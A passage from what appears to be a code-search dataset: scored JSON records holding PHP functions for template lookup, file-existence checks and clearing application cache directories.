"docid": "1423360ae099e820312f9d70668b4b78", "score": "0.6188247", "text": "function tempFileExist() {\n\t\treturn(file_exists($this->getTempFileLocation()));\n\t}", "title": "" }, { "docid": "7bec754fbd3ca4235f90ed09fd15b9b8", "score": "0.6185419", "text": "public function filesExist()\n\t{\n\t\tif($this->filesystem->exists('gruntfile.js') || $this->filesystem->exists('package.json'))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "d24c271ac3232d6cdc26f4b8ea467b5a", "score": "0.6178356", "text": "public function testNoTemplateFileSetException() \n {\n $smartyEngine = new SmartyEngine();\n $smartyEngine->render();\n }", "title": "" }, { "docid": "4d3b5f1f03a920d61a00615b53c59750", "score": "0.61615896", "text": "function is_file_exists($file) {\n return (file_exists(DATA_DIR . $file))? true : false;\n}", "title": "" }, { "docid": "ada6330cc30b8505e0987788eb639fdf", "score": "0.6154663", "text": "function get_template($template_name, $where = \"views\", $data = array())\n{\n if (is_array($data)) {\n extract($data);\n }\n switch ($where) {\n case 'system':\n if (file_exists(SYS_VIEWS_DIR . DS . $template_name . \".php\")) {\n require_once SYS_VIEWS_DIR . DS . $template_name . \".php\";\n }\n break;\n\n case 'views':\n if (file_exists(VIEWS_DIR . DS . $template_name . \".php\")) {\n require_once VIEWS_DIR . DS . $template_name . \".php\";\n }\n break;\n\n default:\n show_plain_error('The File Requested Doesnt exist');\n break;\n }\n}", "title": "" }, { "docid": "d9a63d1659c0da9b5b33a7f547745a5c", "score": "0.61528516", "text": "public function getTemplate ($template = false) {\n\t\tif (!$template) {\n\t\t\t$template = $this->template;\n\t\t}\n\n\t\t$config = $this->getConfig();\n\n\t\tif ($this->templateDirectory !== null) {\n\t\t\t# 1st - if directory was given manually - check if it exists in the <given>/<type>/ dir\n\t\t\t$pathToTemplate = $this->getTemplateDirectory() . $this->getType() . $template;\n\n\t\t\tif (!file_exists($pathToTemplate)) {\n\t\t\t\t# 2nd - if it's not in <given>/<type>/ try <given>/\n\t\t\t\t$pathToTemplate = $this->getTemplateDirectory() . $template;\n\t\t\t}\n\n\t\t\tif (!file_exists($pathToTemplate) && $this->templateDirectory !== null) {\n\t\t\t\t# 3rd - if it's given but not even in the <given> throw error\n\t\t\t\tthrow new \\Exception('Template not found: ' . $pathToTemplate,1);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} else {\n\t\t\t# 4th - if it was not given, check out <app>/<type>/ first\n\t\t\t$pathToTemplate = base_path() . '/resources/views/repeater/' . $this->getType() . '/' . $template;\n\t\t\tif (!file_exists($pathToTemplate)) {\n\t\t\t\t# 5th - if it's not in <app>/<type>/ check out <app>/\n\t\t\t\t$pathToTemplate = base_path() . '/resources/views/repeater/' . $template;\n\t\t\t}\n\n\t\t\t# 6th - if it was not in the app, check out <wx-list>/<type>/ first\n\t\t\tif (!file_exists($pathToTemplate)) {\n\t\t\t\t$pathToTemplate = $config->getTemplateDirectory() . $this->getType() . '/' . $template;\n\t\t\t}\n\n\t\t\tif (!file_exists($pathToTemplate)) {\n\t\t\t\t# 7th - if it's not in <wx-list>/<type>/ check out <wx-list>/\n\t\t\t\t$pathToTemplate = $config->getTemplateDirectory() . $template;\n\t\t\t}\n\t\t}\n\n\t\t# 8th - if it's not any of the places then you missed it\n\t\tif (!file_exists($pathToTemplate)) {\n\t\t\tthrow new \\Exception('Template not found: ' . $pathToTemplate,1);\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $pathToTemplate;\n\t}", "title": "" }, { "docid": "7299557687044a1c4969bbcfaa4774a7", "score": "0.6127388", "text": "protected function getTemplatePath()\n\t{\n\t\t$app = JFactory::getApplication();\n\t\t$template = $app->getTemplate(true);\n\t\t$templatePath = JPath::clean(JPATH_ROOT . '/templates/' . $template->template . '/html/plg_system_vponepagecheckout');\n\n\t\tif(!is_dir($templatePath))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $templatePath;\n\t}", "title": "" }, { "docid": "1f0c4531b22bec7e9a66229197beb138", "score": "0.6126969", "text": "function jr_job_alerts_read_template( $template = '' ) {\n\tglobal $jr_log;\n\n\t$template_path = apply_filters( 'jr_job_alerts_template_path', get_template_directory() );\n\t$template = $template_path . '/' . $template;\n\n\tif ( !file_exists( $template ) ) {\n\t\t$jr_log->write_log(\"Alert template file '\". $template .\"' not found!\");\n\t\treturn false;\n\t}\n\n\t// reads an entire file into a string and returns it\n\treturn file_get_contents($template);\n}", "title": "" }, { "docid": "ffbaa5d8f3d58fc441ca58460015e971", "score": "0.6124122", "text": "protected function renderTemplate()\n\t{\n\t\textract($this->_vars);\n\t\t\n\t\t$dir = PathManager::getViewTemplateDirectory();\n\t\t$ext = NameManager::getTemplateExtension();\n\t\t$templatePath = sprintf('%s/%s.%s', $dir, $this->_template, $ext);\n\t\tif (!file_exists($templatePath)) {\n\t\t\tthrow new FileNotExistException($templatePath);\n\t\t}\n\t\tob_start();\n\t\trequire_once $templatePath;\n\t\treturn ob_get_clean();\n\t}", "title": "" }, { "docid": "42f57520206c5319aa611d78ba096cb1", "score": "0.61064214", "text": "public function isTemplate() : bool {\n return $this->mode == self::MODE_TEMPLATE;\n }", "title": "" }, { "docid": "4f5fef266348d81d6106a934e2e443cf", "score": "0.60997987", "text": "function smarty_modifier_filexists($file)\n\t{\n\t\t//die('called');\n\t\t//echo 'hererer';\n\t\treturn file_exists($file);\n\t}", "title": "" }, { "docid": "417a77db7110797fead395e52ae3d623", "score": "0.608932", "text": "public function setTemplate($file) \n\t{\n\t\t$file = $this->getPath($file);\n\t\tif(file_exists($file)) \n\t\t{\n\t\t\t$this->template = file($file);\n\t\t\treturn 1;\n\t\t}\n\t\telse \n\t\t{\n\t\t\tthrow new TemplateFileNotFoundException($file);\n\t\t}\n\t}", "title": "" }, { "docid": "15dbbed65205c90c25a0d07b0cb0bbc3", "score": "0.6084431", "text": "protected function loadTemplate2() {\n\t\t$path = $this->templatepath;\n\t\t$template = GetReq('stemplate') ? GetReq('stemplate') : GetSessionParam('stemplate');\t\t\t\t\n\t\t \n\t\tif (is_readable($path . $template)) {\n\t\t \n\t\t SetSessionParam('stemplate', $template); //save tmpl \n\t\t \n\t\t $this->mailbody = $this->loadData($template);\t\t\t\n\t\t\t\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\t \t\t\t\n\t}", "title": "" }, { "docid": "f8558cf38efb705dc9dee8a676208dee", "score": "0.608251", "text": "function document_exists($filename)\n{\n global $dir;\n $cleanName = api_replace_dangerous_char($filename);\n\n // No \"dangerous\" files\n $cleanName = disable_dangerous_file($cleanName);\n\n return !DocumentManager::documentExists(\n $dir.$cleanName.'.html',\n api_get_course_info(),\n api_get_session_id(),\n api_get_group_id()\n );\n}", "title": "" }, { "docid": "bdc554d517475fa193b8412e979a5b02", "score": "0.6073992", "text": "public function getTemplateFile() {\n\t\t// Get the template\n\t\t$templateFile = (strlen(trim($this->conf['templateFile']))>0) ? trim($this->conf['templateFile']) : \"EXT:beautyofcode/res/template.html\";\n\t\t$this->templateHtml = $this->cObj->fileResource($templateFile);\n\t\tif (!$this->templateHtml) $this->handleError('Error while fetching the template file: <em>'.$templateFile.'</em>');\n\t}", "title": "" }, { "docid": "675f26b3e31c31e7fe94d70add7b38dc", "score": "0.6073096", "text": "function rb_is_theme_file($file){\n return rb_get_theme_file_path($file) != false;\n}", "title": "" }, { "docid": "9fb49ad2360a699c4b247591fdc4de40", "score": "0.6070476", "text": "function fileExists()\n {\n if($this->loaded)\n {\n \t$fileName = explode('.', $this->remote_filename);\n $fileExt = array_pop($fileName);\n return file_exists($this->doc_dir . '/' .\n $this->remote_filename[0] . '/' .\n $this->remote_filename[1].'/'.$this->id.'.'.$fileExt);\n }\n else\n return false;\n }", "title": "" }, { "docid": "d1e297b4fd958ea5c82ce03637200fca", "score": "0.60701776", "text": "function c_file_exists($file){\n $file_headers = @get_headers($file);\n if(strpos($file_headers[0], '404 Not Found')) {\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "8cc277b486a9a6da5aee1df25b7c191a", "score": "0.6061746", "text": "private function readTemplate() {\n\n\t\t$src = $this->templateUri;\n\t\t$this->log('Attemting to read template file ' . $src . '... ', false);\n\t\t\n\t\t// If file exists save the HTML into the property.\n\t\tif ( file_exists($src) ) {\n\t\t\t$this->template = file_get_contents($src);\n\t\t} \n\t\telse {\n\t\t\tthrow new Exception(\"Template file not found or don't have enough permissions to read it (file: {$src})\");\n\t\t}\n\t\t\n\t\t$this->log('Ok');\n\n\t}", "title": "" }, { "docid": "d07a8773ac50eb9d2ca329916362c750", "score": "0.60616565", "text": "public static function file( $template )\n {\n // Try site-specific template\n $file = Core::getRootPath(). '/templates/'. $template. '.tpl';\n if ( file_exists($file) )\n return $file;\n\n // Try site-specific PHP file\n $file = Core::getRootPath(). '/templates/'. $template. '.php';\n if ( file_exists($file) )\n return $file;\n\n // Kiki fallback template\n $file = Core::getInstallPath(). '/templates/'. $template. '.tpl';\n if ( file_exists($file) )\n return $file;\n\n // Kiki fallback PHP file\n return Core::getInstallPath(). '/templates/'. $template. '.php';\n }", "title": "" }, { "docid": "6b199b61cfb5d47cba3993a3bdbb7952", "score": "0.6061247", "text": "function findTemplate($template_name){\n /*\n * Find template location inside search directory path\n */\n if(!$this->api)throw new Exception_InitError('You should use add() to add objects!');\n $f=$this->api->locatePath($this->template_type,$template_name.$this->settings['extension']);\n $this->origin_filename=$f;\n return join('',file($f));\n }", "title": "" }, { "docid": "de7d4d577084963c740bde4e44569be1", "score": "0.60557234", "text": "function exists($file) {\n \tif(!empty($file)) {\n if(strpos($file,'content') === false) {\n $file = Helpers::url_to_file_path($file);\n }\n if(file_exists($file)){\n $str = true;\n } else {\n $str = false;\n }\n } else {\n $str = false;\n }\n return $str;\n }", "title": "" }, { "docid": "18c0bca572259cc846db1c75d1c4c3ef", "score": "0.6047138", "text": "static function scry( $path ) {\n $uri = get_template_directory_uri();\n $dir = get_template_directory();\n\n if ( file_exists( $dir . $path ) ) {\n // If the file exist, lets get the last time it was modified\n $file_uri = $uri . $path .'?'. filemtime( $dir . $path );\n } else {\n // Just give us the file, no query\n $file_uri = $uri . $path;\n }\n return apply_filters( 'source_finder', $file_uri );\n }", "title": "" }, { "docid": "50e93193170c5d15740d43cca53ba628", "score": "0.60416985", "text": "function c_file_exists($file)\n {\n $file_headers = @get_headers($file);\n if (strpos($file_headers[0], '404 Not Found')) {\n return false;\n }\n return true;\n }", "title": "" } ]
c14398b410d85b29a8c48fffb2e5eba5
Wipes the whole cache directory.
[ { "docid": "16edf1a43115dfa39a1f8f3cd68bb38f", "score": "0.0", "text": "function MaintainCleanCache()\n{\n\tglobal $context, $txt;\n\n\t// Just wipe the whole cache directory!\n\tclean_cache();\n\tclean_cache('js');\n\tclean_cache('css');\n\n\t$context['maintenance_finished'] = $txt['maintain_cache'];\n}", "title": "" } ]
[ { "docid": "ba3b34c76b5ab9fbe29c645f55a92803", "score": "0.76122963", "text": "protected function emptyCacheDirectory()\n {\n foreach (new \\RecursiveIteratorIterator(\n new \\RecursiveDirectoryIterator($this->service->getOptions()->getCachePath(), \\RecursiveDirectoryIterator::SKIP_DOTS), \\RecursiveIteratorIterator::CHILD_FIRST\n ) as $oFileinfo) {\n if ($oFileinfo->isDir()) {\n rmdir($oFileinfo->getRealPath());\n } elseif ($oFileinfo->getBasename() !== '.gitignore') {\n unlink($oFileinfo->getRealPath());\n }\n }\n }", "title": "" }, { "docid": "6ebc1676ef4da6585c34134c4d823da3", "score": "0.74788356", "text": "public static function purgeTemplateCache() {\n\t\t$dir = static::getAbsRoot() . getenv('CACHE_DIRECTORY');\n\n\t\tstatic::emptyFolder($dir);\n\t}", "title": "" }, { "docid": "6d5d50d85a2e70980e3ad59036017460", "score": "0.7374187", "text": "public function clear_cache() {\n\t\tif (file_exists($this->cache_path)) {\n\t\t\tunlink($this->cache_path);\n\t\t}\n\t}", "title": "" }, { "docid": "f25549fe8ea03da081f16504107f2c3c", "score": "0.73322266", "text": "public static function cache_clear() {\n if (file_exists(Atomic::$config['cache'] . self::$cache)) {\n unlink(Atomic::$config['cache'] . self::$cache);\n }\n }", "title": "" }, { "docid": "374b3a0f21ccc969e87632c3fa6c4eb7", "score": "0.7289349", "text": "public function clearCacheFiles()\n {\n if (false === $this->cache) {\n return;\n }\n foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($this->cache), RecursiveIteratorIterator::LEAVES_ONLY) as $file) {\n if ($file->isFile()) {\n @unlink($file->getPathname());\n }\n }\n }", "title": "" }, { "docid": "6936bc73db41b7f7e28a6fb10ff7709f", "score": "0.7230508", "text": "function clearCache() {\n\t\t\t$d = opendir(SERVER_ROOT.\"cache/\");\n\t\t\twhile ($f = readdir($d)) {\n\t\t\t\tif ($f != \".\" && $f != \"..\" && !is_dir(SERVER_ROOT.\"cache/\".$f)) {\n\t\t\t\t\tunlink(SERVER_ROOT.\"cache/\".$f);\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "5c10299be4f08b49af3a1b2dfd6792fc", "score": "0.72013354", "text": "public function clearCache()\n {\n @unlink($this->cacheFileName());\n $this->initialize();\n }", "title": "" }, { "docid": "f93998c9dbb9dbaf146db82aef5a7f8b", "score": "0.7176196", "text": "public function clear_cache() \n\t{\n\t\tself::$ci->load->helper('file');\n\t\t\n\t\t$cache_path = $_SERVER['DOCUMENT_ROOT'] . '/' . self::$asset_base . '/' . self::$asset_cache_folder . '/';\n\t\t\n\t\tdelete_files($cache_path);\n\t}", "title": "" }, { "docid": "ae844f5ae507c83f94add7e22eb9c0d9", "score": "0.71375567", "text": "public function clear()\n {\n $iterator = new DirectoryIterator($this->cacheDirectory);\n $extensionPattern = '/' . preg_quote(self::CACHE_SUFFIX) . '$/';\n\n foreach ($iterator as $file) {\n if (false === $file->isFile()) {\n continue;\n }\n\n if (0 === preg_match($extensionPattern, $file->getBaseName())) {\n continue;\n }\n\n unlink($file->getPathName());\n }\n }", "title": "" }, { "docid": "a1e5e82a1793706e51159705300bd517", "score": "0.71179265", "text": "private function clearTestCache()\n {\n $finder = (new Finder())\n ->in(self::CACHE_ROOT)\n ->ignoreDotFiles(Finder::IGNORE_DOT_FILES);\n\n $filesystem = new Filesystem();\n\n $filesystem->remove($finder->files());\n $filesystem->remove($finder->directories());\n }", "title": "" }, { "docid": "4a1838bef7519b17bfabf12d86fda5bc", "score": "0.70880723", "text": "private function delete_cache_files() {\n\t\tforeach ( $this->cache_dirs as $dir ) {\n\t\t\t$this->delete( $this->cache_path . $dir );\n\t\t}\n\t}", "title": "" }, { "docid": "9e6886f5207518995bc0353703949506", "score": "0.7066932", "text": "public function clearCache($delete_dir = false) {\n\t\tif (Shop::isFeatureActive()) {\n\t\t\tforeach (Shop::getContextListShopID() as $id_shop) {\n\t\t\t\tif (file_exists(_PS_CACHE_DIR_ . 'pagecache/' . $id_shop)) {\n\t\t\t\t\tTools::deleteDirectory(_PS_CACHE_DIR_ . 'pagecache/' . $id_shop, $delete_dir);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (file_exists(_PS_CACHE_DIR_ . 'pagecache/')) {\n\t\t\t\tTools::deleteDirectory(_PS_CACHE_DIR_ . 'pagecache', $delete_dir);\n\t\t\t}\n\t\t}\n\t\tPageCacheDAO::clearAllCache();\n\t}", "title": "" }, { "docid": "6f84571e39855cab3067eacfae093f05", "score": "0.6996469", "text": "public function removeCache() {\r\n $files = $this->caches;\r\n while (count($files) > 0) {\r\n @unlink(array_shift($files));\r\n }\r\n\r\n }", "title": "" }, { "docid": "1341723ee00914173bcc9f624c6e7112", "score": "0.6946118", "text": "public function flush() {\r\n\t\tglobal $SITE_DIR;\r\n\t\t$directoryHandle = opendir($SITE_DIR . 'data/cache');\r\n\t\twhile (false !== ($filename = readdir($directoryHandle))) {\r\n\t\t\tif (substr($filename, 0, strlen($this->prefix)) == $this->prefix) {\r\n\t\t\t\tunlink($SITE_DIR . 'data/cache/' . $filename);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "43babca73e70293b95d77786c76442bf", "score": "0.68674594", "text": "public function _cacheClear() {\n\t\t$content = null;\n\t\tif ( ZC_CACHE == 'apc' ) {\n\t\t\t$info = apc_cache_info( 'user' );\n\t\t\tforeach ( $info[ 'cache_list' ] as $item ) {\n\t\t\t\tif ( preg_match( '/^\\Q'. ZC_CACHE_PREFIX. '\\E/', $item[ 'info' ] ) )\n\t\t\t\t\tapc_delete( $item[ 'info' ] );\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif ( ( $dh = opendir( ZC_CACHE_DIR ) ) !== false ) {\n\t\t\t\twhile( ( $file = readdir( $dh ) ) !== false ) {\n\t\t\t\t\tif ( ! preg_match( '/\\.cache$/', $file ) || is_dir( $file ) ) continue;\n\t\t\t\t\tunlink( ZC_CACHE_DIR. '/'. $file );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "93efd64dec6c8062fc9063ee9e343208", "score": "0.67963", "text": "function cleancache() {\n\tLiber::loadClass('SiteMapCache', 'APP', true)->cleanCache();\n\n\t$temp_path = Liber::conf('APP_PATH').'temp/';\n\n\tif ( !file_exists($temp_path) ) {\n\t\tumask(0007);\n\t\tmkdir($temp_path, 0770, true);\n\t}\n\n\t$cache_path = Liber::conf('APP_ROOT').Liber::conf('FUNKY_PATH');\n\tif ( (basename(Liber::conf('FUNKY_PATH'))) and file_exists($cache_path) ) {\n\t\treturn rename( $cache_path, $temp_path.'_'.date('Ymdhis'));\n\t}\n\n\treturn false;\n}", "title": "" }, { "docid": "8e54498f427f0ee93209a7427f69fc11", "score": "0.67745805", "text": "private function\n\tCleanupCache()\n\t{\n\t\t$cached_files = (glob(\"$this->CacheTmp/emuwebcache*\"));\n\t\tforeach($cached_files as $file)\n\t\t{\n\t\t\t$cacheseconds = $this->Cache * 60 * 60;\n\t\t\t$expiretime = filemtime($file) + $cacheseconds;\n\t\t\tif (time() >= $expiretime)\n\t\t\t{\n\t\t\t\t/*\n\t\t\t\t * Remove the file\n\t\t\t\t */\n\t\t\t\tunlink($file);\n\t\t\t}\n\t\t}\n\n\t}", "title": "" }, { "docid": "3e634a0a21f563323395430de773e24d", "score": "0.6750947", "text": "public function clearMocksDir() : void\n {\n try {\n $this->filesystem->remove($this->mocksDir);\n } catch (IOException $e) {\n return;\n }\n\n $this->filesystem->mkdir($this->mocksDir);\n }", "title": "" }, { "docid": "b616206f111749ff6b1af948057b502c", "score": "0.6726228", "text": "public function clearCache(){\n if(file_exists($this->file)){\n @unlink($this->file);\n }\n }", "title": "" }, { "docid": "13eea7fa7afae15f4a8dc040637f2252", "score": "0.6714191", "text": "private function clearPluginCache()\n {\n $cacheDirectory = $this->myApplication->getTempPath()->withFilePath(FilePath::parse('michaelhall/html-validator-plugin/'));\n if (!is_dir($cacheDirectory->__toString())) {\n return;\n }\n\n foreach (scandir($cacheDirectory->__toString()) as $cacheFile) {\n if ($cacheFile === '.' || $cacheFile === '..' || substr($cacheFile, -5) !== '.json') {\n continue;\n }\n\n unlink($cacheDirectory->__toString() . $cacheFile);\n }\n rmdir($cacheDirectory->__toString());\n }", "title": "" }, { "docid": "8526b0af28ebf96b2c65834694fa0058", "score": "0.6697044", "text": "public function clean() {\n // Clean Temporary Files\n if (is_dir($this->tmpPath)) {\n $objects = new \\RecursiveIteratorIterator(\n new \\RecursiveDirectoryIterator($this->tmpPath), \\RecursiveIteratorIterator::SELF_FIRST\n );\n foreach ($objects as $name => $object) {\n if (!$object->isDir()) {\n @unlink($name);\n }\n }\n }\n\n // Clean Cache Files\n if (is_dir($this->cachePath)) {\n $objects = new \\RecursiveIteratorIterator(\n new \\RecursiveDirectoryIterator($this->cachePath), \\RecursiveIteratorIterator::SELF_FIRST\n );\n foreach ($objects as $name => $object) {\n if (!$object->isDir()) {\n @unlink($name);\n }\n }\n }\n }", "title": "" }, { "docid": "2a079b6f79ec0b92bc71a92c050fee29", "score": "0.6690169", "text": "public function garbage_collect()\n\t{\n\t\t$this->_cache_dir_usable or $this->_check_cache_dir();\n\n\t\t$this->_delete_file($this->_cache_dir, TRUE, FALSE, TRUE);\n\t\treturn;\n\t}", "title": "" }, { "docid": "1793af66df2e681eb06db9fb58f54e00", "score": "0.6671401", "text": "public function clean()\n\t{\n\t\t$this->storage->clean([Cache::ALL => TRUE]);\n\t}", "title": "" }, { "docid": "7498e8d7ce8cf5a9dd93378cba8ca1eb", "score": "0.66628695", "text": "function sed_diskcache_clearall()\n{\n\tglobal $cfg;\n\n\tsed_diskcache_clear($cfg['cache_dir'], false);\n\tforeach (glob(\"{$cfg['cache_dir']}/*\", GLOB_ONLYDIR) as $dir)\n\t{\n\t\tsed_diskcache_clear($dir);\n\t}\n\n\treturn true;\n}", "title": "" }, { "docid": "25752411b915379b2a97a8bf62cb495c", "score": "0.6658841", "text": "public function clearCache()\n {\n $this->cache->deleteAll();\n }", "title": "" }, { "docid": "5572e1f230adfeb3a2b158bdd1b38c0a", "score": "0.6654783", "text": "public function delete_all()\n\t{\n\t\t$this->_cache_dir_usable or $this->_check_cache_dir();\n\n\t\treturn $this->_delete_file($this->_cache_dir, TRUE);\n\t}", "title": "" }, { "docid": "b74583c3d84aad17869a1e251fbb94ba", "score": "0.6650451", "text": "function eraseTempDir() {\n FileSystem::removeDirectory($this->getTestDir(), true);\n $this->testDir = null;\n }", "title": "" }, { "docid": "9ddd9630ae8630e3f0f38fe8438381d2", "score": "0.66415787", "text": "function ClearCache()\n\t{\n\t\tglobal $gCms;\n\t\t$smarty =& $gCms->GetSmarty();\n\n\t\t$smarty->clear_all_cache();\n\t\t$smarty->clear_compiled_tpl();\n\n\t\tif (is_file(TMP_CACHE_LOCATION . '/contentcache.php'))\n\t\t{\n\t\t\tunlink(TMP_CACHE_LOCATION . '/contentcache.php');\n\t\t}\n\n\t\t@touch(cms_join_path(TMP_CACHE_LOCATION,'index.html'));\n\t\t@touch(cms_join_path(TMP_TEMPLATES_C_LOCATION,'index.html'));\n\t}", "title": "" }, { "docid": "ab68414d930d56801bd20dea4462508a", "score": "0.66223943", "text": "public static function clear()\n {\n $iterator = new RecursiveIteratorIterator(\n new RecursiveDirectoryIterator(static::$directory),\n RecursiveIteratorIterator::SELF_FIRST\n );\n\n foreach ($iterator as $file) {\n if (! $file->isDir()) {\n unlink($file->getRealPath());\n }\n }\n }", "title": "" }, { "docid": "ae27918dd53b160a5c7b1105bed85af2", "score": "0.6601499", "text": "public function cacheClean( )\n {\n\n if( isset($_SESSION['CACHE']) )\n {\n unset($_SESSION['CACHE']);\n }\n\n }", "title": "" }, { "docid": "afbc12305e2375a4539ca7f3cf1cf9dc", "score": "0.6593794", "text": "public function\n delete_all()\n {\n parent::delete_all();\n\n foreach (glob($this->get_cache_dir_name() . '/*') as $cache_file) {\n unlink($cache_file);\n }\n }", "title": "" }, { "docid": "640b37039053ddfc4f8f358db8f5bbf6", "score": "0.6582723", "text": "function cleanup()\n {\n // *Always* clean up the cache after changing configuration, else\n // the configuration change will first be seen after cache time is run out.\n $this->log(\"-------\");\n $cacheDir = $this->getCacheDirectory();\n if (is_dir($cacheDir) && $handle = opendir($cacheDir)) {\n while (false !== ($file = readdir($handle))) {\n $filename = $cacheDir . '/' . $file;\n if (!is_dir($filename)) {\n $this->log(\"CLEANUP CACHE: \" . $filename);\n unlink($filename);\n }\n }\n }\n }", "title": "" }, { "docid": "7a84754f092e131b283f50a37dc78e8d", "score": "0.6572851", "text": "private function __deleteCache()\n {\n $iterator = new RecursiveDirectoryIterator(CACHE);\n foreach(new RecursiveIteratorIterator($iterator, RecursiveIteratorIterator::CHILD_FIRST) as $file)\n {\n $path_info = pathinfo($file);\n \n if($path_info['dirname'] == ROOT . DS . \"tmp\" . DS . \"cache\")\n {\n \t$file_name = $path_info['filename'];\n \t$file_arr = str_split($file_name, 25);\n \t\n if($file_arr[0] == \"UserMgmt_rules_for_group_\")\n {\n \tunlink($file->getPathName());\n }\n }\n }\n }", "title": "" }, { "docid": "a661b66a6ce295d0a3c0ad707a7ae64e", "score": "0.65156686", "text": "public function delete_all()\n\t{\n\t\tdelete_files($this->db->cachedir, TRUE, TRUE);\n\t}", "title": "" }, { "docid": "a735403fd807dfe9184846cabbb21616", "score": "0.6496941", "text": "function clearCache()\n {\n $cacheDir = $this->container->getParameter('kernel.cache_dir');\n\n $kernel = $this->container->get('kernel');\n\n $cacheDir = realpath($cacheDir.'/../');\n\n\n foreach (array (/*'frontdev','frontprod',*/'dev','prod') as $env)\n {\n foreach (array ('UrlGenerator','UrlMatcher') as $file)\n {\n $cachedFile = $cacheDir.'/'.$env.'/app'.ucfirst($env).$file.'.php';\n //print '<br>'.$cachedFile;\n if (file_exists($cachedFile)) @unlink ($cachedFile);\n\n\n $cachedFile = $cacheDir.'/'.$env.'/app'.$env.$file.'.php';\n //print '<br>'.$cachedFile;\n if (file_exists($cachedFile)) @unlink ($cachedFile);\n }\n }\n\n\n if (function_exists('apc_clear_cache')) apc_clear_cache('user');\n //exit();\n\n }", "title": "" }, { "docid": "0f3ea73d7bbdb41156a1a825892b667f", "score": "0.6494688", "text": "public function wipeStorage(): void\n {\n HistogramBucket::delete();\n Sample::delete();\n Metric::delete();\n }", "title": "" }, { "docid": "83d6f1cb9acae0fb88ec41734cd0d7ce", "score": "0.6489244", "text": "public function clearCacheAndStats() {\n\t\tif (Shop::isFeatureActive()) {\n\t\t\tforeach (Shop::getContextListShopID() as $id_shop) {\n\t\t\t\tif (file_exists(_PS_CACHE_DIR_ . 'pagecache/' . $id_shop)) {\n\t\t\t\t\tTools::deleteDirectory(_PS_CACHE_DIR_ . 'pagecache/' . $id_shop, false);\n\t\t\t\t}\n\t\t\t}\n\t\t\tPageCacheDAO::resetCache(Shop::getContextListShopID());\n\t\t}\n\t\telse {\n\t\t\tif (file_exists(_PS_CACHE_DIR_ . 'pagecache/')) {\n\t\t\t\tTools::deleteDirectory(_PS_CACHE_DIR_ . 'pagecache', false);\n\t\t\t}\n\t\t\tPageCacheDAO::resetCache();\n\t\t}\n\t}", "title": "" }, { "docid": "7f6c659321b17fe6eaf567f9b92411b7", "score": "0.6483012", "text": "public function emptyCache() {\n\n\t\t// Ensure that the cache folder is set and is not the current directory\n\t\tif(!empty($this->cache_folder) && $this->cache_folder !== dirname(__FILE__)) {\n\n\t\t\t// Delete all files recursively\n\t\t\t$this->recursive_rmdir($this->cache_folder);\n\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "fa58c455c740668050ed074ab525154e", "score": "0.6474302", "text": "protected static final function clearCache () {\r\n // Do a new FileDirectory, prepended DOCUMENT_ROOT;\r\n \t$cacheFile = new FileDirectory (CACHE_DIR, TRUE);\r\n \t// Clean-up EVERYTHING, except the dots;\r\n \t// Should use DirectoryIterator here, to be implemented soon;\r\n for ($i = 2, $cacheCount = count ($cacheFile = scandir ($cacheFile)); $i < $cacheCount; ++$i) {\r\n // Just do skip over .dirs and .files;\r\n if ($cacheFile[$i][0] != '.') {\r\n UNLINK ($cacheDirectory . _S . $cacheFile[$i]);\r\n }\r\n }\r\n\r\n // Do return ...\r\n return new B (TRUE);\r\n }", "title": "" }, { "docid": "d55f3eaa71ab3c82dc6ef3d11714c81e", "score": "0.6472955", "text": "private function clean_cache()\n\t{\n\t\t//gc probability\n\t\t$gc = rand(1, Kohana::config($this->type.'.cache_gc'));\n\t\tif ($gc != 1) return FALSE;\n\t\t$cache = new DirectoryIterator(Kohana::config($this->type.'.cache_folder'));\n\t\twhile ($cache->valid())\n\t\t{\n\t\t\t// if file is past maximum cache settings delete file\n\t\t\t$cached = date('U', $cache->getMTime());\n\t\t\t$max = time() + Kohana::config($this->type.'.cache_clean_time');\n\t\t\tif ($cache->isFile() AND ($cached > $max))\n\t\t\t{\n\t\t\t\tunlink($cache->getPathname());\n\t\t\t}\n\t\t\t$cache->next();\n\t\t}\n\t}", "title": "" }, { "docid": "a885f9875ed394411780b301ac1ab67d", "score": "0.6466779", "text": "public function clear()\n {\n sfToolkit::clearDirectory($this->getConfigCacheDir());\n }", "title": "" }, { "docid": "4a70d481d0f5c3d892b22cd35c5e7de0", "score": "0.6454414", "text": "public function purgeImageCache()\n\t{\n\t\t// Walk through the subfolders\n\t\tforeach (scan(TL_ROOT . '/assets/images') as $dir)\n\t\t{\n\t\t\tif ($dir != 'index.html' && strncmp($dir, '.', 1) !== 0)\n\t\t\t{\n\t\t\t\t// Purge the folder\n\t\t\t\t$objFolder = new \\Folder('assets/images/' . $dir);\n\t\t\t\t$objFolder->purge();\n\n\t\t\t\t// Restore the index.html file\n\t\t\t\t$objFile = new \\File('templates/index.html', true);\n\t\t\t\t$objFile->copyTo('assets/images/' . $dir . '/index.html');\n\t\t\t}\n\t\t}\n\n\t\t// Also empty the page cache so there are no links to deleted images\n\t\t$this->purgePageCache();\n\n\t\t// Add a log entry\n\t\t$this->log('Purged the image cache', __METHOD__, TL_CRON);\n\t}", "title": "" }, { "docid": "77325cd16316dabbdc634697eb8d7c42", "score": "0.6446757", "text": "public static function clear(): void\n {\n self::createStorage(dirname(__DIR__))->clearDB();\n }", "title": "" }, { "docid": "5a8acd294833ea5d79d061ceb69985bf", "score": "0.64389193", "text": "public function removeDirectories()\n {\n clearstatcache(true);\n\n foreach ($this->createDirectoriesResult as $dir => $result) {\n if (($result & self::OBJECT_CREATED) && is_dir($dir)) {\n rmdir_plus($dir);\n }\n }\n }", "title": "" }, { "docid": "fe03422346ce837b07f498dbc72c8ed6", "score": "0.6437693", "text": "private function clear_caching()\n {\n require_code('caches3');\n 